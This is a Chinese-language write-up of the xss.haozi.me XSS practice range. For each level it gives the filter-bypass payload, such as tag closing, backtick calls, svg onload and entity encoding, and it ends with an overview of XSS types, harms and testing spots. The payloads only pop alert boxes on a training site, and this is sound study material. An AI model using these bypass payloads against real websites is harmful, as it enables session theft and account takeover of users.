赞
踩
靶机官网:https://xss.haozi.me/#/0x12
第一关
<script>alert(1)</script>
第二关
</textarea><script>alert(1)</script>< textarea>
这一关只能输出文本,所以闭合标签
第三关
aaa"><script>alert(1)</script>
还是闭合标签
第四关
<script>alert`1`</script>
这一关过滤括号,所以使用反引号来代替括号
第五关
<svg/onload=alert(1)
这一关还是采用编码的方式来绕过
第六关
--!><script>alert(1)</script><-!
这一关将注释符号(–>)过滤成了一个笑脸的表情,但是我们又需要把注释给闭合上,所以可以使用另一种注释的符号(–!>)
第七关
type="image" src=1 onerror
=alert(1)
这里将auto或者on过滤成了_,并且是在input标签输出,所以这里可以将type的值改成imge的形式进行输出,并且使用换行的方式来停止以on开头=结尾变成_。
第八关
<img type=“image” src=1 onerror=alert(1)//
这一关过滤了标签符号,所以没有办法写标签,也没有办法闭合。但是html中img标签是可以不写后面的“>”,因为它有一种纠错机制
第九关
</style
>
<script>alert(1)</script>
<style
这一关限制了不可以对style标签进行闭合,是html中将标签换行也是可以识别的,所以可以换行处理标签
第十关
http://www.segmentfault.com"></script><script>alert(1)//
这一关必须以https://www.segmentfault.com为开头,否则不能输入,然后就将script标签闭合在写点击事件就可以了。
第十一关
http://www.sementfault.com@127.0.0.1/cx.html
这里可以使用@的小技巧。以@分隔的话前面表示的是用户名和密码,后面表示的是登录的网站和端口,也可以以表示重定向到第二个网站。
第十二关
<svg/οnlοad=alert(1)>
这里用到了将所有字母转大写。可以使用编码来转换。
第十三关
<svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>
这一关过滤了script,并且将字母转为大写。可以使用编码来进行
第十四关
alert(1)
-->
这关过滤了斜杠,但是要闭合注释,所以和使用换行的方式。
第十五关
这关和第10关很解法相似,都是跳转到其他网页。
第十六关
aaa'),alert(1)//
这一关就是将一些符号进行了编码;但是这也是可以识别的,所以就是将src闭合,然后写弹窗,然后将后面注释
第十七关
alert(1)
这里就是直接输入,所以可以直接输入
第十九关
"),alert(1)//
这关将一些字符转换了,也是先将那个闭合,然后进行弹窗。
第二十关
\"),alert(1)//
这一关将"过滤成了",所以可以使用转义符号将先将\转义,就可以过关了。
1.什么是XSS
XSS叫做跨站脚本攻击,是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
2.产生层面
他一一般情况下都是在前端产生的;JavaScript代码能干什么,执行之后就会达到相应的效果。
3.危害影响
1.盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
2.盗窃企业重要的具有商业价值的资料
3.非法转账
4.强制发送电子邮件
5.网站挂马
6.控制受害者机器向其它网站发起攻击.常出现的场景 文章发表、评论、留言、注册资料的地方、修改资料的地方等
- 1
- 2
反射型
<非持久化,参数型> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。比如说搜索框的反射型XSS【在搜索框中提交交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。
DOM型
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
它攻击的payload由于修改受害者浏览器页面的DOM树而执行,==特殊的地方就是payload在浏览器本地修改DOM树而执行,不会传到服务器上,所以这也导致了DOM XSS比较难检测。
存储型
<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
XSS漏洞验证
我们在验证和检测漏洞的时候,可以使用下面的代码来进行验证,这种代码叫做PoC
1.scriptalert(/xss/)/script
2.scriptalert(/xss/)/scrip
3.scriptprompt(‘xss’)/script
XSS漏洞的黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方;比如:
URL的每一个参数、URL本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。